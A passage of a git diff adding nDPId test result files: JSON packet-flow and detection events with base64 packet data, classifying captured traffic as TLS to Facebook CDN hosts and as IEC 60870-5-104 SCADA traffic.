CA-3","issuerDN":"C=US, ST=CA, L=Menlo Park, O=Facebook, Inc., CN=*.ak.fbcdn.net","alpn":"http\/1.1,spdy\/3.1,h2-14,h2","fingerprint":"E7:62:76:74:8D:09:F7:E9:69:05:B8:1A:37:A1:30:2D:FF:3B:BC:0A"}} +00459{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":921070,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z44Bu8SPrtTp+qcSgBABGdR2AAABAQgKEg1\/TRvn+wo="} +04290{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":921142,"pkt_caplen":2942,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":2942,"pkt_l4_len":2888,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAC0gGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjOjBmUALSrwKgBADiN+eAAABAQgKG+f7ChINf0sWAwMAUAIAAEwDA1ZS1VoubJT\/jzYg8CAzV+IT9zuWUy4HhVMrtH7FeZnfAMAvAAAkAAAAAP8BAAEAAAsABAMAAQIAIwAAABAACwAJCGh0dHAvMS4xFgMDDCYLAAwiAAwfAAW9MIIFuTCCBKGgAwIBAgIQAVrw2UyttN7MusUVVtTbKDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE1MDgxMjAwMDAwMFoXDTE1MTIzMTEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5hay5mYmNkbi5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJeKbqqJTDMFuaScMLbAi5jJbo+rPkXrK8hHzsaHfNb4pJ0m70ReiywBLEEtw4pO6JtFnd2cdyNhAufXYHalx8GEb+7jOq8RM93DytS6BgDYZ6JIRkxxN8WeR6VSSrrLtV5a43OoFePh8jHpFPpa1WOcluB9hbv\/uV+fm8z7PnBCoTKp08w+PD7gnd0ysjj6o2HARfwzNFKXMducdP2ZS2hLC4M8LhF2a6lqZtDHFtwNq1hQPSxjVsYWP7DuxHiQIT3JI+RqKGiBHo2HsyPL5b2m9WEEg5KB\/UJj51ZN4IHeahppbIOO5imUn+2VvPYqxQ7tvwS591OV+ow888z3uXAgMBAAGjggJmMIICYjAfBgNVHSMEGDAWgBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zAdBgNVHQ4EFgQUXgLHmQQC2sFz\/sPuX92ZvGzJYXAwgb4GA1UdEQSBtjCBs4IOKi5hay5mYmNkbi5uZXSCFXMtc3RhdGljLmFrLmZiY2RuLm5ldIILaWdzb25hci5jb22CDSouaWdzb25hci5jb22CD2FrLmZhY2Vib29rLmNvbYIRKi5hay5mYWNlYm9vay5jb22CGioucy1zdGF0aWMuYWsuZmFjZWJvb2suY29tghRjb25uZWN0LmZhY2Vib29rLm5ldIIYcy1zdGF0aWMuYWsuZmFjZWJvb2suY29tMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0fBFowWDAqoCigJoYkaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL2NhMy1nMjkuY3JsMCqgKKAmhiRodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwQgYDVR0gBDswOTA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzB7BggrBgEFBQcBAQRvMG0wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBFBggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQEFBQADggEBADL\/o3nO9NiRkmsfVQjUOwxVl3ogNnCmWNwM10WJXHNotnEpR18uttjOccX0Ui4wfUIHVeFWdD4rniNtqHRgSrtdch4L3tLq2F4m91qPLFO9vl+nTxInvwKnKLafXBYI2Tw6oJKk4neD0s6gK4zcVCc+3TCRCOkBdKGKaxTcnW1OnJ4ZE132pgcMpvKhbbd99jykRU3GL5jI+Yntrg3+rK6\/kTkdYR1dEiRgVzn2u3llTB5StrYgRjZhrDjh3Kso4ZCQnzpjqEOHEdqOVfW4XjnKEPQ7yU9ywPnNgR6S51TY5QubAStieiHxZjsgpwfcGTBHkhC\/4cT08yQZcuygG38ABlwwggZYMIIFQKADAgECAhAKXxFNA1sXkRfS79QDjD87MA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMDgwNDAyMTIwMDAwWhcNMjIwNDAzMDAwMDAwWjBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv2EKKRAfXv40N1EI+B77Iu1hvgsNcExQYyZ1FblBiJe28KAVuwhg4ELoBSkQhzaKKGWo7zEHdG02ly8oRmYExyp5JnqZ1Y7DbU+gXq28PZHCWXteNmzAU88ACDI+EGRYEBNpxwzunEJRAPkFRO4kznof7YwRvRKo8xX0HHoxaQEbp+ZdwJpsfgme51JEShA6I+SbtgOvqJy0W5\/US62SjM61ESqqNxiNtMK42FwGjPj\/I701XtR8Pn6DDpGWBZjDsh\/jyGXrqXtdoCzM\/DzZbe3M+ktDjMnUuKVhHLJAtigS37n4X\/7TssnvPbQeS3wcTJk2nj3r7KdoXh3fZ25e+wIDAQABo4IC+jCCAvYwDgYDVR0PAQH\/BAQDAgGGMIIBxgYDVR0gBIIBvTCCAbkwggG1BgtghkgBhv1sAQMAAjCCAaQwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cuZGlnaWNlcnQuY29tL3NzbC1jcHMtcmVwb3NpdG9yeS5odG0wggFkBggrBgEFBQcCAjCCAVYeggFSAEEAbgB5ACAAdQBzAGUAIABvAGYAIAB0AGgAaQBzACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAYwBvAG4AcwB0AGkAdAB1AHQAZQBzACAAYQBjAGMAZQBwAHQAYQBuAGMAZQAgAG8AZgAgAHQAaABlACAARABpAGcAaQBDAGUAcgB0ACAAQwBQAC8AQwBQAFMAIABhAG4AZAAgAHQAaABlACAAUgBlAGwAeQBpAG4AZwAgAFAAYQByAHQAeQAgAEEAZwByAGUAZQBtAGUAbgB0ACAAdwBoAGkAYwBoACAAbABpAG0AaQB0ACAAbABpAGEAYgBpAGwAaQB0AHkAIABhAG4AZAAgAGEAcgBlACAAaQBuAGMAbwByAHAAbwByAGEAdABlAGQAIABoAGUAcgBlAGkAbgAgAGIAeQAgAHIAZQBmAGUAcgBlAG4AYwBlAC4wEgYDVR0TAQH\/BAgwBgEB\/wIBADA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTCBjwYDVR0fBIGHMIGEMECgPqA8hjpodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0E="} +00843{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":184,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1448269146905,"flow_last_seen":1448269146921,"flow_tot_l4_data_len":3288,"flow_min_l4_data_len":32,"flow_max_l4_data_len":2888,"flow_avg_l4_data_len":548,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:197::236","src_port":53132,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s-static.ak.facebook.com","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"b898351eb5e266aefd3723d466935494","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00459{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":921170,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z4wBuwtKvArowaRogBABDtR2AAABAQgKEg1\/TRvn+wo="} +01397{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":921369,"pkt_caplen":777,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":777,"pkt_l4_len":723,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAAtMGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjOjBpGgLSrwKgBgDiGxBAAABAQgKG+f7ChINf0suY3JsMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB0GA1UdDgQWBBRQ6nOJ2yn7EI+e5QEg1N55mUiD9zANBgkqhkiG9w0BAQUFAAOCAQEAHuKlSJ5s21M4D++mGiqs4gND7Zq8Po51G\/D9LiJZrBPAYeLn+umZzYcJdVQov0Zg3L5RLJLzG5F8MQhw4je5wVuovaMLAPsaFf0DrVhqxcckmUhHRjEeku+0X040x5C\/McH4sYSG0JwBqt+KVgbOOukOrpd0XddxmkJ0X96NQ3ze6VXtaQDLBeB6YWEz0RlN+QjuoDnFJTW3K8QPst3xpbcOJMQmKI15d\/Uv8Fe6fAfU4fzNWjBXfoYQR90xH9f8osK\/MHxdJKro+a5fanTCzmuzRtghvinUjl4V1kJK5zJvpLFrUYNYvj9tx\/vaAyHLahYZTgrwrYTKXZSzWnb3YRYDAwFNDAABSQMAF0EEj0rTBErBdzprdzONHas3lBLREc80W\/32cNxSj3iJqQ9vu0Dp8zE\/d7nSpVPcXA7NkhQWuNV8r0HGGuSxawhVzwYBAQCTNyBmRHbeE3mrDlWomymgtoP1eDV1cWzM7mtNHz8jhWRrxT0EFNdw5+V1Piq0GZBsPQvoy7AeP3b7GA2p4YPruLGpJJ8\/5UE79\/YF47MbzYUROKCRt8HITDX\/7NnreDO8\/zRebNh6pfosFFJxhT61bwl3WtOoOwnCERCcdAyHuloWDSjZY0zffNBkILbNfz1lKD6Fz88KakKSN\/g0YwoGNFaWSOb\/D7eGRWTANqhZuTK8RuHWMuhXlQkpe7CXibnhkczSn4IeP+KnBlcQQK6ZtXZDZlKjlmpTj8L+vIvGHIQixPFES+e\/3HdwnrFW55IO3F1MhGiC7xLM\/4alZeX9FgMDAAQOAAAA"} +01270{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":186,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":8,"flow_first_seen":1448269146905,"flow_last_seen":1448269146921,"flow_tot_l4_data_len":4043,"flow_min_l4_data_len":32,"flow_max_l4_data_len":2888,"flow_avg_l4_data_len":505,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a02:26f0:ad:197::236","src_port":53132,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s-static.ak.facebook.com","server_names":"*.ak.fbcdn.net,s-static.ak.fbcdn.net,igsonar.com,*.igsonar.com,ak.facebook.com,*.ak.facebook.com,*.s-static.ak.facebook.com,connect.facebook.net,s-static.ak.facebook.com","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"b898351eb5e266aefd3723d466935494","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert High Assurance CA-3","issuerDN":"C=US, ST=CA, L=Menlo Park, O=Facebook, Inc., CN=*.ak.fbcdn.net","alpn":"http\/1.1,spdy\/3.1,h2-14,h2","fingerprint":"E7:62:76:74:8D:09:F7:E9:69:05:B8:1A:37:A1:30:2D:FF:3B:BC:0A"}} +00459{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":921403,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z4wBuwtKvArowacbgBABJNR2AAABAQgKEg1\/TRvn+wo="} +00631{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":922261,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAJ4GQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z44Bu8SPrtTp+qcSgBgBGdT0AAABAQgKEg1\/Thvn+woWAwMARhAAAEJBBN3R5PXwMPzZz2nMnGQami8pV3SpzN0YQkERfC1yJ9Mqy\/GKa7eYDffP2t8k9aqcajQnVv86yePutuFUEHwcz2gUAwMAAQEWAwMAKAAAAAAAAAAAN35VNt7e8Eus7EPHQL7by0oQmynUiyqZ24VcS0UkEOk="} +00634{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":923656,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAJ4GQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z4wBuwtKvArowacbgBgBJNT0AAABAQgKEg1\/Thvn+woWAwMARhAAAEJBBCsvrtmXkq7vlrwd9wU5MuJa26vkg+D0spkE\/QfHhZpv9ZR3t\/PZv+DxosFyg\/CdTlrU2QjdItsyB9fedIP2XWoUAwMAAQEWAwMAKAAAAAAAAAAAnryPL+XtHqy8cBKU5ZAlDwxGY9UKkivgM3VjYSpGBQQ="} +00789{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":929757,"pkt_caplen":328,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":328,"pkt_l4_len":274,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAARIGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjun6pxLEj69SgBgDiIOjAAABAQgKG+f7EhINf04WAwMAugQAALYAABwgALCmxpnijZhcM64vCu\/Oer5dr+D4JJMqpkFlYXjTYCUhqxF4ZYsgeMoQ3ddjOkmSMrH5o++L4sphi1qaZ4xa0v1Qa4riMsRnXt9l7blOmFj5eakGuCLDRxAF\/+LDTn+AiRJw0ssWr04LL9kmlJN4NuXnFjopAnSmUcM8sARfR2oEK3YTpQcfmJxrkSvM22GhHCSr918kAhMG1ZSCEiKsC8xHsTdkdbmZ9kdwjkAgLZThLRQDAwABARYDAwAoPUEciuAfinGlQ08iSPTxQ4Cmcej7m6EBy5g\/U52v5JnAthlQL8jMEw=="} +00791{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":931566,"pkt_caplen":328,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":328,"pkt_l4_len":274,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAARIGOyoCJvAArQGXAAAAAAAAAjYqAA1AAAEAA3qswP\/+pw1MAbvPjOjBpxsLSryIgBgDiAPWAAABAQgKG+f7FBINf04WAwMAugQAALYAABwgALCmxpnijZhcM64vCu\/Oer5dI9ws+1Sh4C7e+6h1VezKkkWzLNFOEhCxJ\/e7qeGje77wq1c0Blk4oGMX66OZHyF83TvWUgG977HQR4Unb6sRF6SzJpK3+NvQ4YJwzQVAfePJydOI+pOgZQbTUW5\/pGjx+9RjBv1HOCpfeNAlfvdP04FY2woLgiThgOywr\/tzZNPKbYyeS4+ln9C4KCZcXfMdZtabq0sCVLel6B+tEDDsARQDAwABARYDAwAoDsyLHNtuAalm3dvDfTp1jLQpg9kJAp9VNWjWGA9tvoytcPS9bJWjNQ=="} +00460{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":966054,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z44Bu8SPr1Lp+qgEgBABL9R2AAABAQgKEg1\/WRvn+xI="} +00460{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269146,"pkt_ts_usec":970056,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqAibwAK0BlwAAAAAAAAI2z4wBuwtKvIjowagNgBABO9R2AAABAQgKEg1\/Whvn+xQ="} diff --git a/test/results/iec60780-5-104.pcap.out b/test/results/iec60780-5-104.pcap.out new file mode 100644 index 000000000..df0f5e692 --- /dev/null +++ b/test/results/iec60780-5-104.pcap.out @@ -0,0 +1,105 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1219992231267,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1568,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992231,"pkt_ts_usec":267238,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABXFGNTMABNy14eKCABFAAAwbS5AAIAGRKWsG\/htrBv4TwYgCWR6t61JAAAAAHAC\/\/8CpgAAAgQFtAEBBAI="} +00428{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992231,"pkt_ts_usec":267345,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABNy14eKABXFGNTMCABFAAAwQVVAAIAGcH6sG\/hPrBv4bQlkBiDrZdPBeretSnAS\/\/9DbQAAAgQFtAEBBAI="} +00424{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992231,"pkt_ts_usec":267487,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobS9AAIAGRKysG\/htrBv4TwYgCWR6t61K62XTwlAQ\/\/9wMQAAAAAAAAAA"} +00424{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992231,"pkt_ts_usec":283482,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubTBAAIAGRKWsG\/htrBv4TwYgCWR6t61K62XTwlAY\/\/8BHwAAaAQHAAAA"} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1219992231267,"flow_last_seen":1219992231283,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1568,"dst_port":2404,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00424{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992231,"pkt_ts_usec":334870,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQVZAAIAGcH+sG\/hPrBv4bQlkBiDrZdPCeretUFAY\/\/lJFQAAaAQLAAAA"} +00424{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992231,"pkt_ts_usec":540194,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobTFAAIAGRKqsG\/htrBv4TwYgCWR6t61Q62XTyFAQ\/\/lwKwAAAAAAAAAA"} +00424{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992239,"pkt_ts_usec":282338,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"ABXFGNTMABNy14eKCABFAAApbTZAAIAGRKSsG\/htrBv4TwYgCWR6t61Q62XTyFAY\/\/lwIgAAAAAAAAAA"} +00416{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992239,"pkt_ts_usec":467001,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQVlAAIAGcIKsG\/hPrBv4bQlkBiDrZdPIeretUVAQ\/\/hJDwAA"} +00424{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992248,"pkt_ts_usec":746307,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":22,"pkt":"ABXFGNTMABNy14eKCABFAAAqbTlAAIAGRKCsG\/htrBv4TwYgCWR6t61R62XTyFAY\/\/luuAAAAWgAAAAA"} +00418{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992248,"pkt_ts_usec":873317,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQVpAAIAGcIGsG\/hPrBv4bQlkBiDrZdPIeretU1AQ\/\/ZJDwAA"} +00426{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992271,"pkt_ts_usec":248993,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubTtAAIAGRJqsG\/htrBv4TwYgCWR6t61T62XTyFAY\/\/n0BQAAAgJoABIS"} +00418{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992271,"pkt_ts_usec":404682,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQVtAAIAGcICsG\/hPrBv4bQlkBiDrZdPIeretWVAQ\/\/BJDwAA"} +00426{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992291,"pkt_ts_usec":323204,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubUBAAIAGRJWsG\/htrBv4TwYgCWR6t61Z62XTyFAY\/\/nFDwAAaARDAAAA"} 